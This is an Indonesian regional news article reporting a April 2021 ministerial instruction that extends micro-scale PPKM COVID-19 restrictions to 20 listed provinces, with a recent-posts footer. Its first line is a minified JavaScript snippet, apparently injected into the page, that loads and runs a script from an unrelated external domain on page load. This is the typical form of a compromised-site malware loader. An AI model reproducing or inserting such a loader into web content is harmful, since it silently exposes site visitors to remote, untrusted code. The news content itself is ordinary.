(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Termasuk Kalsel, Ini Daftar 20 Provinsi yang Berlakukan PPKM Mikro Diperluas


KANALKALIMANTAN.COM, JAKARTA– Pemerintah resmi memperpanjang penerapan PPKM skala Mikro dengan tambahan lima Provinsi baru. Sehingga total ada 20 Provinsi di Indonesia yang melaksanakan PPKM Mikro.

Hal itu tertuang dalam Instruksi Mendagri Nomor 7 Tahun 2021 Tentang Pemberlakuan Pembatasan Kegiatan Masyarakat Berbasis Mikro dan Mengoptimalkan Posko Penanganan COVID-19 di Tingkat Desa dan Kelurahan. 20 Provinsi itu antara lain:

 

1. DKI Jakarta

2. Jawa Barat

3. Banten, Kabupaten Tangerang, Kota Tangeran, Kota Tangerang Selatan

4. Jateng, Semarang Raya, Banyumas Raya, Surakarta

5. DIY Yogyakarta, Kota Yogyakarta, Bantul, Gunungkidul, Sleman, dan Kulon Progo

6. Jatim, Surabaya Raya, Madiun Raya, Malang Raya

7. Bali, Badung, Gianyar, Klungkung, Tabanan, Kota Denpasar

8. Sumatera Utara

9. Kalimantan Timur

10. Kalimantan Selatan

11. Kalimantan Tengah

12. Sulawesi Utara

13. Sulawesi Selatan

14. NTB

15. NTT

16. Aceh

17. Riau

18. Sumatera Selatan

19. Kalimantan Utara

20. Papua

 

Mendagri meminta langsung kepala daerah baik Gubernur maupun Bupati atau Wali Kota di 20 wilayah tersebut untuk mengatur PPKM berbasis mikro.

“Untuk Gubernur pada Provinsi tersebut dapat menetapkan dan menambahkan prioritas wilayah pembatasan pada masing-masing Kabupaten/Kotanya sesuai dengan kondisi wilayah dan memperhatikan cakupan pemberlakuan pembatasan,” demikian isi Inmendagri tersebut, seperti dilihat, Senin (5/4/2021).

Adapun ketentuan yang belum berubah yakni pembatasan WFH sebesar 50 persen. Operasional restoran dan mal sampai pukul 21.00 WIB dengan kapasitas 50 persen.

Instruksi ini ditandatangani oleh Mendagri Tito Karnavian per 5 April 2021. Provinsi yang belum menerapkan PPKM Mikro diminta memperkuat dan meningkatkan sosialisasi sekaligus penegakan hukum pelanggaran protokol kesehatan. (detik)

 

 

 


Al Ghifari

Recent Posts

Waspada Hujan Disertai Petir dan Gelombang Tinggi di Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More

37 menit ago

BPBD Balangan Gelar Pelatihan TRC PB Tahap II di Batakan

KANALKALIMANTAN.COM, PARINGIN - Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Balangan menuntaskan tahap II pelatihan Tim… Read More

45 menit ago

1 Ramadan Resmi Jatuh Kamis 19 Februari

KANALKALIMANTAN.COM, JAKARTA — Kementerian Agama Republik Indonesia (Kemenag RI) resmi menetapkan 1 Ramadan 1447 Hijriah… Read More

13 jam ago

Hilal di Kalsel Tidak Terlihat, 1 Ramadan Menunggu Keputusan Pusat

KANALKALIMANTAN.COM, BANJARMASIN — Kantor Wilayah (Kanwil) Kementerian Agama Provinsi Kalimantan Selatan (Kemenag Kalsel) menggelar pemantauan… Read More

15 jam ago

Arti Warna Merah dalam Tradisi Imlek

KANALKALIMANTAN.COM, BANJARMASIN - Dalam perayaan Tahun Baru Imlek, ada banyak warna merah menghiasi segala aspek… Read More

20 jam ago

Ini Makna di Balik Shio Kuda Api Imlek 2026

KANALKALIMANTAN.COM, BANJARMASIN – Kuda Api menjadi shio di tahun baru Imlek 2026. Apa makna di… Read More

23 jam ago

This website uses cookies.